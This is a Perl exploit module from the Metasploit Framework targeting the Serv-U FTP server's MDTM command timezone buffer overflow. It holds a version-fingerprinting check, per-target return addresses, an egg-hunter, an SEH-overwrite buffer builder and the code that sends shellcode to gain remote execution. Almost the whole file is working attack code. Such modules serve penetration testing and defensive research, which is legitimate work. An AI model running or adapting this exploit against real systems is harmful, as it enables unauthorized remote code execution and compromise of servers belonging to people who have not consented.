
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::servu_mdtm_overflow;

use base "Msf::Exploit";
use strict;
use Pex::Searcher;
use Pex::x86;
use Pex::Text;

my $advanced = {
  'SEHOffset'       => ['47', 'Offset from beginning of timezone to SEH'],
  'ForceDoubling'   => ['2', '1 to force \xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect'],
};
my $info =
{
  'Name'  => 'Serv-U FTPD MDTM Overflow',
  'Version'  => '$Revision: 1.35 $',
  'Authors' =>
    [
      'spoonm <ninjatools [at] hush.com>',
      'Basic vector from: Servu2.c lion <lion [at] cnhonker.net>',
    ],
  'Description'  => Pex::Text::Freeform(qq{
    This is an exploit for the Serv-U's MDTM command timezone overflow.
    It has been heavily tested against versions
    4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with
    success against nt4/2k/xp/2k3. I have also had success against version
    3, but only tested 1 version/os. The bug is in all versions
    prior to 5.0.0.4, but this exploit will not work against versions not
    listed above. You only get one shot, but it should be OS/SP independent.

    This exploit is a single hit, the service dies after the shellcode
    finishes execution.
  }),
  
  'Arch'  => [ 'x86' ],
  'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
  'Priv'  => 0,
  'UserOpts'  =>
    {
      'RHOST' => [1, 'ADDR', 'The target address'],
      'RPORT' => [1, 'PORT', 'The target port', 21],
      'SSL'   => [0, 'BOOL', 'Use SSL'],
      'USER'  => [1, 'DATA', 'Username', 'ftp'],
      'PASS'  => [1, 'DATA', 'Password', 'ftp'],
    },

  'Payload' =>
    {
      'Space'  => 1000,
      'BadChars'  => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
      'MinNops' => 0,
      'MaxNops' => 0,
    },
  'Nop' =>
    {
      'ModStack' => 0, # We don't use nops, but if we did...
    },

  'Refs'  => 
    [  
      ['OSVDB', 4073],
      ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
      ['URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
      ['URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
    ],
  'DefaultTarget' => 0,
  'Targets' =>
    [
      ['Serv-U Uber-Leet Universal ServUDaemon.exe', 0x00401877],
      ['Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe', 0x0040164d],
      ['Serv-U 5.0.0.0 ServUDaemon.exe', 0x0040167e],
    ],
  'Keys' => ['servu'],
};


# From 5.0.0.4 Change Log
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
#
# Nice way to play it down boys
#
# Connected to ftp2.rhinosoft.com.
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
#
# Heh :)

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Check {
  my $self = shift;
  my $targetHost  = $self->GetVar('RHOST');
  my $targetPort  = $self->GetVar('RPORT');
  
  my $s = Msf::Socket::Tcp->new
  (
    'PeerAddr'  => $targetHost, 
    'PeerPort'  => $targetPort, 
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL'       => $self->GetVar('SSL'),
  );
  
  if ($s->IsError) {
    $self->PrintError;
    return $self->CheckCode('Connect');
  }

  my $r;

  $r = $self->response($s);
  goto NORESP if(!$r);
  if($r =~ /Serv-U FTP Server v4\.1/) {
    $self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
    return $self->CheckCode('Appears');
  }
  elsif($r =~ /Serv-U FTP Server v5\.0/) {
    $self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
    return $self->CheckCode('Appears');
  }
  elsif($r =~ /Serv-U FTP Server v4\.0/) {
    $self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
  }
  elsif($r =~ /Serv-U FTP Server/) {
    $self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
    return $self->CheckCode('Appears');
  }
  else {
    $self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
    return $self->CheckCode('Safe');
  }

  $s->Send("USER " . $self->GetVar('USER') . "\r\n");
  goto NORESP if(!$self->response($s));
 
  $s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
  goto NORESP if(!$self->response($s));

  $s->Send("P\@SW\r\n");
  $r = $self->response($s);
  goto NORESP if(!$r);

  if($r =~ /500/) {
    $self->PrintLine('[*] Found version 4.0.0.4, exploitable');
    return $self->CheckCode('Appears');
  }
  else {
    $self->PrintLine('[*] Found version 4.1.0.0, exploitable');
    return $self->CheckCode('Appears');
  }

  # quit is for losers, exiting uncleanly rocks.
  return $self->CheckCode('Safe');

# dirty
NORESP:
  $self->PrintLine('[*] No response from FTP server');
  return $self->CheckCode('Generic');
}


sub Exploit {
  my $self = shift;
  my $targetHost  = $self->GetVar('RHOST');
  my $targetPort  = $self->GetVar('RPORT');
  my $targetIndex = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  my $sehOffset   = $self->GetLocal('SEHOffset');

  my $s = Msf::Socket::Tcp->new
  (
    'PeerAddr'  => $targetHost, 
    'PeerPort'  => $targetPort, 
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL'       => $self->GetVar('SSL'),
  );
  
  if ($s->IsError) {
    $self->PrintLine('Error creating socket: '.$s->GetError);
    return;
  }

  my $r;

  $r = $self->response($s);
  goto NORESP if(!$r);
#  $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
#  $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);
    
  $s->Send("USER " . $self->GetVar('USER') . "\r\n");
  goto NORESP if(!$self->response($s));
 
  $s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
  goto NORESP if(!$self->response($s));


# Autodetect no more

#  if(!$targetIndex) {
#    $s->Send("P\@SW\r\n");
#    $r = $self->response($s);
#    goto NORESP if(!$r);
#
#    $targetIndex = $r =~ /500/ ? 1 : 1;
#  }

  # Should have paid more attention to skylined's exploit, only after figuring
  # out how my payloads were getting transformed did I remember seeing \xff
  # doubling in his CHMOD exploit, arg!
  if($self->GetLocal('ForceDoubling') == 1) {
    $self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
    $shellcode = xffDoubler($shellcode);
  }
  elsif($self->GetLocal('ForceDoubling') == 0) {
    $self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
  }
  else {
    $s->Send("P\@SW\r\n");
    $r = $self->response($s);
    goto NORESP if(!$r);
    if($r =~ /^500/) {
      $self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
      $shellcode = xffDoubler($shellcode);
    }
  }


  my $target = $self->Targets->[$targetIndex];
  $self->PrintLine('[*] Trying to exploit target ' . $target->[0]);


  my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");

  # Searcher expects address to start scanning at in edi
  # Since we got here via a pop pop ret, we can just the address of the jmp
  # off the stack, add esp, BYTE -4 ; pop edi
  my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';

  if($sehOffset < length($searchCode)) {
    $self->PrintLine('[*] Not enough room for search code.');
    return;
  }

  my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';
#  $jmpBack = "\xcc\xcc\xcc\xcc";

  my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
  $command .= $searchCode;
  $command .= $jmpBack . pack('V', $target->[1]);
  $command .= ' /' . $searcher->StartTag . $shellcode .  $searcher->EndTag . "\r\n";

  $s->Send($command);

  $r = $self->response($s, 2);
  if($r) {
    $self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
  }

  $self->Handler($s);
  return;

# dirty
NORESP:
  $self->PrintLine('[*] No response from FTP server');
  return;
}

sub response {
  my $self = shift;
  my $sock = shift;
  my $r;
  if(@_) {
    my $timeout = shift;
    $r = $sock->Recv(-1, $timeout);
  }
  else {
    $r = $sock->Recv(-1);
  }
  chomp($r);
  $r =~ s/\r//g;
  $self->PrintLine("[*] REMOTE> $r") if($r);
  return($r);
}

# Serv-U is dumb. Doubling for 4.0.0.4
sub xffDoubler {
  my $payload = shift;
  $payload =~ s/\xff/\xff\xff/g;
  return($payload);
}


